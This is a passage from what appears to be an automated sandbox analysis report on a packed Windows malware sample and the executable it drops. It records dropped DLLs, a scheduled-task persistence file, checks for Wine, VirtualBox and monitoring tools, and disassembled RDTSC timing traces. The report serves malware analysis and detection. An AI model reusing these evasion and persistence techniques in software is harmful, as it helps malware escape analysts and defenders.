Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.280000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hiyxmwfd:EW;olcygkgk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hiyxmwfd:EW;olcygkgk:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Unpacked PE file: 23.2.DocumentsFIJKEHJJDA.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cimbrsfq:EW;tyuvqqsb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cimbrsfq:EW;tyuvqqsb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cimbrsfq:EW;tyuvqqsb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cimbrsfq:EW;tyuvqqsb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cimbrsfq:EW;tyuvqqsb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cimbrsfq:EW;tyuvqqsb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA63480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA63480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: real checksum: 0x1d6102 should be: 0x1d6722
Source: file.exe	Static PE information: real checksum: 0x1c8c44 should be: 0x1c54bc
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d6102 should be: 0x1d6722
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1d6102 should be: 0x1d6722

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hiyxmwfd
Source: file.exe	Static PE information: section name: olcygkgk
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name:
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name:
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name: cimbrsfq
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name: tyuvqqsb
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: cimbrsfq
Source: random[1].exe.0.dr	Static PE information: section name: tyuvqqsb
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: cimbrsfq
Source: skotes.exe.23.dr	Static PE information: section name: tyuvqqsb
Source: skotes.exe.23.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA9B536 push ecx; ret

0_2_6CA9B549

Source: file.exe	Static PE information: section name: hiyxmwfd entropy: 7.955141315017835
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name: entropy: 7.974734922817124
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name: cimbrsfq entropy: 7.952306838244099
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.974734922817124
Source: random[1].exe.0.dr	Static PE information: section name: cimbrsfq entropy: 7.952306838244099
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.974734922817124
Source: skotes.exe.23.dr	Static PE information: section name: cimbrsfq entropy: 7.952306838244099

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIJKEHJJDA.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFIJKEHJJDA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIJKEHJJDA.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIJKEHJJDA.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFIJKEHJJDA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CAC55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFA5C second address: 4CFA60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652E78 second address: 652E96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4817h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652E96 second address: 652E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6531D4 second address: 6531DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653377 second address: 65337D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6573BE second address: 657410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jo 00007FF8A0DA480Eh 0x0000000d jl 00007FF8A0DA4808h 0x00000013 nop 0x00000014 call 00007FF8A0DA4818h 0x00000019 movsx esi, di 0x0000001c pop esi 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D2D8Fh], edx 0x00000025 push DE009E1Eh 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FF8A0DA4811h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6574C4 second address: 6574C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6574C8 second address: 657520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FF8A0DA480Bh 0x0000000e jbe 00007FF8A0DA480Ch 0x00000014 popad 0x00000015 nop 0x00000016 sub cx, 7F2Bh 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FF8A0DA4808h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 xor dword ptr [ebp+122D3952h], edi 0x0000003d push D3D116A6h 0x00000042 pushad 0x00000043 push ebx 0x00000044 pushad 0x00000045 popad 0x00000046 pop ebx 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657520 second address: 657526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65765B second address: 6576D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 popad 0x00000009 add dword ptr [esp], 7F7743E9h 0x00000010 mov di, B5CFh 0x00000014 push 00000003h 0x00000016 jmp 00007FF8A0DA4814h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FF8A0DA4808h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 push 00000003h 0x00000039 pushad 0x0000003a mov dword ptr [ebp+122D37EDh], eax 0x00000040 jne 00007FF8A0DA4806h 0x00000046 popad 0x00000047 call 00007FF8A0DA4809h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF8A0DA4815h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6576D6 second address: 6576ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6576ED second address: 657769 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A0DA4819h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jc 00007FF8A0DA481Ch 0x00000014 push edx 0x00000015 jmp 00007FF8A0DA4814h 0x0000001a pop edx 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push esi 0x00000020 jmp 00007FF8A0DA4819h 0x00000025 pop esi 0x00000026 mov eax, dword ptr [eax] 0x00000028 jmp 00007FF8A0DA4813h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657769 second address: 65776D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65776D second address: 657771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657771 second address: 657777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657777 second address: 6577C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF8A0DA480Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e add dword ptr [ebp+122D3514h], edi 0x00000014 lea ebx, dword ptr [ebp+1245B28Bh] 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FF8A0DA4808h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jnl 00007FF8A0DA4808h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67518B second address: 675196 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675196 second address: 6751A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF8A0DA4806h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6751A2 second address: 6751A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675325 second address: 675344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A0DA4819h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6754B0 second address: 6754CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jl 00007FF8A11EFED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FF8A11EFED8h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jne 00007FF8A11EFED6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675643 second address: 675647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675A45 second address: 675A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FF8A11EFED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675A4F second address: 675A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675A53 second address: 675A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF8A11EFEDEh 0x0000000f push edx 0x00000010 jc 00007FF8A11EFED6h 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675BFD second address: 675C02 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675C02 second address: 675C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675C0A second address: 675C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF8A0DA4806h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675E9D second address: 675EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676C42 second address: 676C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A0DA4812h 0x00000009 jmp 00007FF8A0DA4817h 0x0000000e jng 00007FF8A0DA4806h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007FF8A0DA480Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6770DA second address: 6770ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6770ED second address: 67710C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A0DA4819h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679D20 second address: 679D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679D25 second address: 679D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A0DA4818h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A1F4 second address: 67A20F instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A11EFEDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FF8A11EFED8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A20F second address: 67A215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A215 second address: 67A219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678B4F second address: 678B55 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A42E second address: 67A433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A433 second address: 67A439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A439 second address: 67A43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F569 second address: 63F581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8A0DA480Dh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F581 second address: 63F587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BFC2 second address: 63BFC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BFC7 second address: 63BFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BFCF second address: 63BFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF8A0DA4806h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jg 00007FF8A0DA4806h 0x00000016 pop esi 0x00000017 push edi 0x00000018 jnp 00007FF8A0DA4806h 0x0000001e push edi 0x0000001f pop edi 0x00000020 pop edi 0x00000021 rdtsc
